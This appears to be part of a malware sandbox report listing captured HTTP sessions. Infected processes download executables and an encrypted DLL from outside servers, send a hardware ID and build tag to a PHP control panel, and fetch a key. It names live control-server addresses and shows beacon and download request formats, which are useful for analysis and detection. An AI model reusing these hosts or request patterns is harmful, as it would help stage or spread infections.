Dec 10, 2024 02:51:34.143269062 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:51:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49924	185.215.113.16	80	7884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:34.293469906 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 10, 2024 02:51:35.622009993 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:51:35 GMT Content-Type: application/octet-stream Content-Length: 968192 Last-Modified: Tue, 10 Dec 2024 01:20:45 GMT Connection: keep-alive ETag: "6757976d-ec600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 65 97 57 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 16 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELeWg"w@ (@@@d\|@D[u4@.text `.rdata@@.datalpH@.rsrcD[@\@@.relocuvP@B
Dec 10, 2024 02:51:35.622087955 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Dec 10, 2024 02:51:35.622243881 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Dec 10, 2024 02:51:35.622365952 CET	1236	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
Dec 10, 2024 02:51:35.622375965 CET	248	IN	Data Raw: 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Dec 10, 2024 02:51:35.622870922 CET	1236	IN	Data Raw: 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c 89 51 08 88 51 10 89 51 Data Ascii: uWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSG
Dec 10, 2024 02:51:35.623009920 CET	1236	IN	Data Raw: 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d Data Ascii: At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4
Dec 10, 2024 02:51:35.623020887 CET	248	IN	Data Raw: 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff ff ff 89 45 bc e9 a6 fe ff ff 83 e8 21 0f 85 23 01 00 00 8b 41 04 6a 7f Data Ascii: ;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE
Dec 10, 2024 02:51:35.623622894 CET	1236	IN	Data Raw: 00 3b fb 0f 84 31 fd ff ff e9 85 04 04 00 ff 75 e8 ff 75 f4 ff 75 e4 ff 75 e0 53 52 ff 75 f0 33 db 53 e8 86 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 Data Ascii: ;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIE
Dec 10, 2024 02:51:35.623692989 CET	1236	IN	Data Raw: 00 88 5c 24 19 88 5c 24 1a ff 15 28 c3 49 00 8d 44 24 13 50 ff 75 08 e8 c2 03 00 00 ff 15 18 c2 49 00 85 c0 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 Data Ascii: \$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M
Dec 10, 2024 02:51:35.741482019 CET	1236	IN	Data Raw: 4d e0 e8 6c a0 00 00 8b 75 ac 8d 4d f0 e8 22 7a 00 00 8d 45 f0 50 8d 4d 90 e8 39 01 00 00 8b 7d f0 57 68 58 ca 49 00 e8 cf 1a 02 00 59 59 85 c0 0f 84 8b fd 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 Data Ascii: MluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49931	185.215.113.206	80	7552	C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:36.127926111 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 02:51:37.493864059 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 10, 2024 02:51:37.966619015 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHCBKKKFHCGCBFIJEHD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 33 36 36 34 45 38 38 38 32 38 37 32 35 35 36 31 33 34 35 35 39 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="hwid"B3664E8882872556134559------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="build"stok------EGHCBKKKFHCGCBFIJEHD--
Dec 10, 2024 02:51:38.414716005 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49939	185.215.113.43	80	7884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:40.332379103 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 38 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013584001&unit=246122658369
Dec 10, 2024 02:51:41.664792061 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:51:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49945	185.215.113.16	80	7884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:41.834294081 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 10, 2024 02:51:43.176052094 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:51:42 GMT Content-Type: application/octet-stream Content-Length: 2821120 Last-Modified: Tue, 10 Dec 2024 01:21:10 GMT Connection: keep-alive ETag: "67579786-2b0c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 61 14 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +a+`Ui` @ @.rsrc`2@.idata 8@fnclnjqv*:@xutkjozi `+@.taggant@+"*@
Dec 10, 2024 02:51:43.176105022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:43.176119089 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:43.176445961 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:43.176635981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:43.176647902 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:43.176657915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:43.176670074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:51:43.177397966 CET	1236	IN	Data Raw: d9 fe b5 c6 e1 69 15 7e a4 0b 33 c6 b1 58 ae a9 ec 69 1a 5e 07 64 64 7e a4 0b 33 54 b6 4c ae 79 f1 69 b0 f2 96 18 2d f6 41 8c 8f 61 51 73 08 10 b1 40 81 78 14 69 20 f6 55 3a b8 28 0f 4f 45 2d a8 16 b2 f9 d0 67 0c a6 91 62 b6 bb f6 76 2f 4a c7 54 Data Ascii: i~3Xi^dd~3TLyi-AaQs@xi U:(OE-gbv/JTM)\}}ZFywg25vliO}aS^8E};!Bo]]YD`1ew;jjYv,jY_Gkv>.]iX9
Dec 10, 2024 02:51:43.177412033 CET	1236	IN	Data Raw: 9e 4e 10 e7 45 7c 61 f1 59 9c a1 0f fe 93 3b d2 0e 9a cb ef 21 2a dc 2d 1f 9b a2 c8 d9 34 71 9c ae 2e 1e 6e aa a6 75 94 a1 e8 e3 0e 8b af da 2e 16 8a 4c 8b ef ff db 28 d6 6b 29 01 d8 92 29 98 d4 23 05 08 d8 c7 c9 6c 75 a8 ab a3 bf e8 4c f3 e4 23 Data Ascii: NE\|aY;!-4q.nu.L(k))#luL#Kpe~Q 4B:\"qvKe{bIq j1\|t^/tTy32%.kQJRY/}JW2Vly_j^aM
Dec 10, 2024 02:51:43.295759916 CET	1236	IN	Data Raw: e6 d2 b8 7a 21 72 46 00 1c b2 a6 1d fd 52 93 fc 81 e3 50 5c f6 5e 99 e0 e3 b9 d1 68 d5 92 af 58 dc bb 61 f4 c2 86 fe bd 89 8d dd eb ef 29 31 b2 e2 74 96 d9 c8 b7 70 b1 8f 96 72 88 59 01 3d eb 80 07 f4 90 c0 ed fb e1 20 c6 d8 d2 e1 4a 52 fa ca 86 Data Ascii: z!rFRP\^hXa)1tprY= JR=Q3T>y a/\^}2.I-$4r\|l}x]/a^xleTS{>Fclni"1a95_"$Cn5G{y/!n(E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49967	80.82.65.70	80	7772	C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:47.643953085 CET	412	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 02:51:48.971421003 CET	204	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:48 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 02:51:49.290404081 CET	386	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 02:51:49.769231081 CET	224	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:49 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 10, 2024 02:51:49.811548948 CET	391	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 02:51:50.384085894 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:50 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 10, 2024 02:51:50.384191036 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 10, 2024 02:51:50.384203911 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 10, 2024 02:51:50.384594917 CET	1236	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 10, 2024 02:51:50.384607077 CET	1236	IN	Data Raw: 65 3b 47 31 40 6c 58 a4 f2 72 e0 62 45 fe 13 75 f3 bf 71 98 82 ed 0b 91 d9 fa 6f fb bb 0c b6 96 17 6c 50 87 9d 6a f0 e3 e5 e5 17 2f 04 e1 78 4b 7b ec a4 0a 66 3a c7 1b de e3 06 f4 33 94 a4 66 e3 66 11 87 2a 50 e7 5f f0 a7 8b 90 b0 e7 20 a1 56 ea Data Ascii: e;G1@lXrbEuqolPj/xK{f:3ff*P_ VufJJh2~Uz=;6DmjDX,t3{etiOaB?hcMT#iHyKg7`Cx6'JgYOL(>@2O0inol%t-9'
Dec 10, 2024 02:51:50.384618044 CET	1236	IN	Data Raw: 18 fc a2 90 2b 67 71 38 68 4e e5 23 79 cf 33 c9 7b 68 89 24 07 d9 65 9b c2 05 5b 73 79 a0 fa 5d 0b 18 e7 03 da 3c 02 9a eb 59 06 94 8c a5 f8 69 3f f6 01 62 ec cb f9 de 45 fa 09 83 a3 f7 21 af d3 6f d5 a4 26 c7 c1 ee 10 d1 cd 23 d9 b7 3d bf ce a7 Data Ascii: +gq8hN#y3{h$e[sy]<Yi?bE!o&#=fmCALA-0BiwXV-+[X>Og{:i{It_v50#xa=cWBd/QFI6N' 3F$R/3Oqt]uqp3GU@(
Dec 10, 2024 02:51:50.384629965 CET	1236	IN	Data Raw: 86 d0 0e 0e f5 2b 0b f5 8d f7 79 40 71 81 e1 45 02 36 97 09 61 9b 5f dc b2 b1 d0 95 a0 5d 70 7b 40 b1 c5 76 fa 38 88 2f 7c 5a a9 00 9d 47 93 df 14 da 54 c6 55 b5 fc 8e fd 29 bf 7f d9 f7 52 82 c1 5f b3 a1 7d bb 48 e0 29 38 0d 63 13 83 b6 e2 b0 e0 Data Ascii: +y@qE6a_]p{@v8/\|ZGTU)R_}H)8c'ATd10?lg;&jg8KnWwD0a_r+42}20.u~Q$z2i@=sdkO8m(pC
Dec 10, 2024 02:51:50.385315895 CET	1236	IN	Data Raw: c3 9c 69 5d eb 54 db 81 bb 6b 66 5e ab f4 9b 3d ee ff 1b d1 4b 71 18 e1 6e 42 a8 ab 9c 98 14 85 99 99 0e a1 66 a6 1c 27 bd 4a b3 a3 d4 cf 6b 2b dc 89 26 b7 59 fe 26 0d 72 54 62 f2 c9 80 5f 45 0d 82 64 28 85 e9 69 0d 69 77 dd df e1 4d 16 de d3 9a Data Ascii: i]Tkf^=KqnBf'Jk+&Y&rTb_Ed(iiwM3mo.m4moNm09k-:zTzxGc\|Ub<\|Y>. Tu#f-UM!+g@!4<fG7IkEl
